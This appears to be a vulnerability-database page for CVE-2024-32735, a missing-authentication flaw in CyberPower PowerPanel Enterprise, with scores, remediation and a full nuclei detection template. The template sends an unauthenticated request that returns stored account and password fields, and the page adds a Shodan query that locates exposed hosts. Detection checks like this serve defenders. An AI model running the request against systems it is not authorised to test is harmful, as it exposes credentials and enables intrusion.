Browse / CVEs / CVE-2024-32735
CVE-2024-32735· CWE-306
CyberPower - Missing Authentication
criticalseverity
9.8CVSS score
6.8%likelihood of exploitation, next 30 days
94%of all CVEs are less likely
Readycheck to confirm it
An issue regarding missing authentication for certain utilities exists in CyberPower PowerPanel Enterprise prior to v2.8.3.
Impact
An unauthenticated remote attacker can access the PDNU REST APIs, which may result in compromise of the application.
Fix
Apply the latest security patches and updates from the vendor to address this vulnerability.
How to confirm it
Send: GET {{BaseURL}}/api/v1/devices
Positive when: contains "\"account\":" and "\"passwd\":" and "status\":\"success" AND contains in content_type "application/json" AND status 200Run it with nuclei: nuclei -id CVE-2024-32735 -u <target>
The full check
id: CVE-2024-32735
info:
name: CyberPower - Missing Authentication
author: DhiyaneshDK
severity: critical
description: |
An issue regarding missing authentication for certain utilities exists in CyberPower PowerPanel Enterprise prior to v2.8.3.
remediation: |
Apply the latest security patches and updates from the vendor to address this vulnerability.
impact: |
An unauthenticated remote attacker can access the PDNU REST APIs, which may result in compromise of the application.
reference:
- https://www.cyberpower.com/global/en/File/GetFileSampleByType?fileId=SU-18070002-07&fileSubType=FileReleaseNote
- https://www.tenable.com/security/research/tra-2024-14
- https://nvd.nist.gov/vuln/detail/CVE-2024-32735
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2024-32735
cwe-id: CWE-306
epss-score: 0.06765
epss-percentile: 0.94032
metadata:
verified: true
max-request: 1
shodan-query: html:"<title>PDNU</title>"
tags: cve,cve2024,cyberpower,auth-bypass,vkev,vuln
http:
- method: GET
path:
- "{{BaseURL}}/api/v1/devices"
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"account":'
- '"passwd":'
- 'status":"success'
condition: and
- type: word
part: content_type
words:
- 'application/json'
- type: status
status:
- 200References
- https://www.cyberpower.com/global/en/File/GetFileSampleByType?fileId=SU-18070002-07&fileSubType=FileReleaseNote
- https://www.tenable.com/security/research/tra-2024-14
- https://nvd.nist.gov/vuln/detail/CVE-2024-32735
Use this check only on systems you are authorised to test. Where the data comes from